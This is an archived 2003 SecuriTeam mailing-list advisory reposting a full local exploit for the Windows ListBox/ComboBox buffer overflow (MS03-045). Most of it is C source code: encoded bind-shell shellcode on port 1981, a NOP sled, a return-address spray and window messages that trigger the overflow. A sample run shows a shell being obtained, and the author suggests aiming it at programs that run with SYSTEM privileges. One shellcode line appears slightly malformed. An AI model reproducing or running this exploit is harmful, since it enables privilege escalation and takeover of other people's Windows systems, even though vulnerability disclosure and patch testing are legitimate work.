

[EXPL] ListBox and ComboBox Control Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0064.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/16/03

To: list@securiteam.com

Date: 16 Nov 2003 19:04:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ListBox and ComboBox Control Buffer Overflow (Exploit)

SUMMARY

As we reported in our previous article

<<http://www.securiteam.com/windowsntfocus/6L00I2K8KY.html>> Buffer Overrun in the ListBox and in the ComboBox Control Could Allow Code Execution (MS03-045), a vulnerability in the ListBox and in the ComboBox allows local attackers to gain elevated privileges. The following is an exploit code that can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

/*

\ local ListBox/ComboBox exploit for Win32

/

\ Created by xCrZx [crazy_einstein@yahoo.com] /11.11.03/

/

\ Usage: 85boomerang.exe <-t target> [-r return address]

/

\ there is two targets: CB_DIR (for ComboBox), LB_DIR (for ListBox).

/

Securiteam: [EXPL] ListBox and ComboBox Control Buffer Overflow (Exploit)

```
\ As to return address it should be such as 0x0000XXYY
/ (and you should know that this address will be transformed
\ into unicode! And if XX and YY bytes <128 it will maintained!
/ And return address will be such as 0x00XX00YY!
\ If not it will be coded in two bytes each of this bytes and
/ return will be looked like 0xZZZZWWWW)
\
/ To figure out handle addresses you can use tools such as
\ Spy++ (default tool contained in MSVC++ 6.0)
/
\ Note: there is no so easy exploitation of this stuff!
/ first of all you should figure out the handle
\ addresses of ListBox/ComboBox & EDIT, RichEdit, etc
/ (to store shellcode inside of it.. you can also
\ store shellcode by different way into variables of
/ vuln program (i.e. through fopen(), argv, etc..))
\
/ Bug info:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/Bulletin/MS03-045.asp
\
/
\ yesh yesh y0...check it out y0...
/ wu-tang clan forever :)
\
/ greetzz to: tANDm :), Billi_k1d, alph4, btr, hhs, v1pee, ni69az,
\ akid, Joel Eriksson, andrewg, Amour and others...
/
\ tested on WinXP (also should work on others Win32)
/
\ p.s. use can find vuln program with SYSTEM privileges
(antivirus, firewall, etc)
/ to obtain the SYSTEM privileges
\
*/

/*
\
/ example of work:
\ -----
/
\ vuln program:
/
\ C:\...ual Studio\MyProjects\vuln\Debug>vuln.exe
/
\
/ C:\...ual Studio\MyProjects\vuln\Debug>
\
/ -----
/
\ exploit:
```

Securiteam: [EXPL] ListBox and ComboBox Control Buffer Overflow (Exploit)

```
/
\ C:\MSVCSTAFF\Debug>85boom.exe -t 0
/
\[85boomerang local exploit by xCrZx /11.11.03/]
/
\ Enter addresses of the program handles:
/ <handle of Edit/RichEdit/etc (to store shellcode)> <handle of
ListBox/ComboBox>
\ (i.e. "00450ca1 0066345c") -> 1e01f6 2701a2
/
\ [+] Set shellcode!
/ --> Using LB_DIR command
\ --> Using return address = 0x1515
/ [+] Set return addresses!
\ [+] Sending shellcode message!
/ [+] Sending exploit message! Try to connect on 1981 port after 5 sec!
\
/
\ -----
/
\ Microsoft Telnet> open localhost 1981
/
\ ...
/
\ Microsoft Windows XP [?????? 5.1.2600]
/ (?) ?????????? ??????????, 1985-2001.
\
/ C:\Program Files\Microsoft Visual Studio\MyProjects\vuln\Debug>
\
*/
```

```
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
```

```
char shellcode[] =
```

```
//bind on 1981
"\xEB\x0F\x5B\x80\x33\x93\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 by ey4s
//speacial version for ws_ftp base on v1.03.10.07
//XOR with 0x93 (367 0x16F bytes)
"\x12\x7F\x93\x91\x93\x93\x7A\xA4\x92\x93\x93\xCC\xF7\x32\xA3\x93"
"\x93\x93\x18\xD3\x9F\x18\xE3\x8F\x3E\x18\xFB\x9B\xF9\x97\xCA\x7B"
"\x4A\x93\x93\x93\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC"
"\xC7\x6C\xC4\x6F\x18\x7B\xF9\x95\xCA\x7B\x2C\x93\x93\x93\x71\x6A"
"\x12\x7F\x03\x92\x93\x93\xC7\xFB\x91\x91\x93\x93\x6C\xC4\x7B\xC3"
"\xC3\xC3\xC3\xF9\x92\xF9\x91\x6C\xC4\x63\x18\x4B\x18\x7F\x54\xD6"
"\x93\x91\x93\x94\x2E\xA0\x53\x1A\xD6\x97\xF9\x83\xC6\xC0\x6C\xC4"
"\x67\xC0\xF9\x92\xC0\x6C\xC4\x6B\xC3\xC3\xC0\x6C\xC4\x6F\xC3\x10"
```

Securiteam: [EXPL] ListBox and ComboBox Control Buffer Overflow (Exploit)

```
"\x7F\xCB\x18\x67xA0\x48\xF9\x83\xCA\x1A\x8F\x1D\x71\x68\x78\xBF"  
"\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3"  
"\xD3\xD3\xD3\xD3\x03\x03\x03\x03\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3"  
"\xE9\x35\xFF\xFF\xFF\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\x1A\xD5\xAB\x1A"  
"\xD5\xAF\x1A\xD5\xD3\x54\xD5\xBF\x92\x92\x93\x93\x1E\xD5\xD7\xC3"  
"\xC5\xC0\xC0\xC0\xF9\x92\xC0\xC0\x1E\xD5\xC7\x54\x93\xF0\xFE\xF7"  
"\x93\xC3\xC0\x6C\xC4\x73\xA0\x53\xDB\xC3\x6C\xE5\xD7\x6C\xC4\x4F"  
"\x10\x57\xCB\x6C\xC4\x7F\x6C\xC4\x7F\xC3\x6C\xC4\x4B\xC2\x18\xE6"  
"\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"  
"\xD2\x3E\x90\x56\xA0\x48\xA0\x41\x9C\x2D\x83\xA9\x45\xE7\x9B\x52"  
"\x58\x88\x90\x49\xD3\x78\x7C\xA8\x8C\xE6\x76\xCD\x18\xCD\xB7\x90"  
"\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38"  
"\xCA\x50\x7B\x57\x6D\x6C\x6C\x7A\x28\x50\x3D\x27\xEE\x86\x0B\x58"  
"\xD1\xE4\x2B\x4F\x4E\x89\xA0\xBE\x87\xC5\x3D\x55\xB8\x2E\xBD\x4D"  
"\xC4\xE1\x37\xB7\x21\xA1\x93\x9D\xCE\x58\x4D\xE7\xB1\xF0\x5B"  
//decode end sign  
"\x45\x59\x34\x53";
```

```
#define SIZE 60000
```

```
int main(int argc, char **argv) {  
  
    HWND target=(HWND)0x240302;  
    HWND target2;  
    char buf[SIZE+5];  
    char b0000[30000];  
    long ret=0x00001515;  
    int trigger=0;  
  
    printf("\n[85boomerang local exploit by xCrZx /11.11.03/]\n\n");  
  
    if(argc==1) {  
        printf( "Usage: %s <-t N> [-r return address]\n\n"  
            "N targets (-t option):\n\n\t0 - LB_DIR\n\t1 - CB_DIR\n",  
            argv[0]);  
        exit(0);  
    }  
  
    for(int j=0;j<argc;j++) {  
        if(strcmp(argv[j],"-t")==NULL) { trigger = atoi(argv[j+1]); }  
        if(strcmp(argv[j],"-r")==NULL) { ret = strtoul(argv[j+1],0,16); }  
    }  
  
    printf( "Enter addresses of the program handles:\n<handle of  
Edit/RichEdit/etc (to store shellcode)> <handle of  
ListBox/ComboBox>\n(i.e. \"00450ca1 0066345c\") -> ");fflush(stdout);  
    scanf("%x %x",&target2,&target);  
  
    memset(buf,0x00,sizeof buf);  
    memset(b0000,0x00,sizeof b0000);
```

Securiteam: [EXPL] ListBox and ComboBox Control Buffer Overflow (Exploit)

```
printf("\n[+] Set shellcode!\n");

memset(b0000,0x90,sizeof(b0000)-strlen(shellcode)-1);
memcpy(b0000+strlen(b0000),&shellcode,strlen(shellcode));

printf("--> Using %s command\n",(trigger)?("CB_DIR"):(LB_DIR));
printf("--> Using return address = 0x%x\n",ret);
printf("[+] Set return addresses!\n");

for(int i=0;i<SIZE/4;i++)
    *(long *)&buf[strlen(buf)]=ret;

printf("[+] Sending shellcode message!\n");

SendMessage(target2,WM_SETTEXT,0,(LPARAM)b0000);

printf("[+] Sending exploit message! Try to connect on 1981 port after 5
sec!\n");

SendMessage(target , (trigger)?(CB_DIR):(LB_DIR) ,
    DDL_READWRITE | DDL_DIRECTORY | DDL_DRIVES ,
    (LPARAM)buf
);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:crazy_einstein@yahoo.com>
xCrZx.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.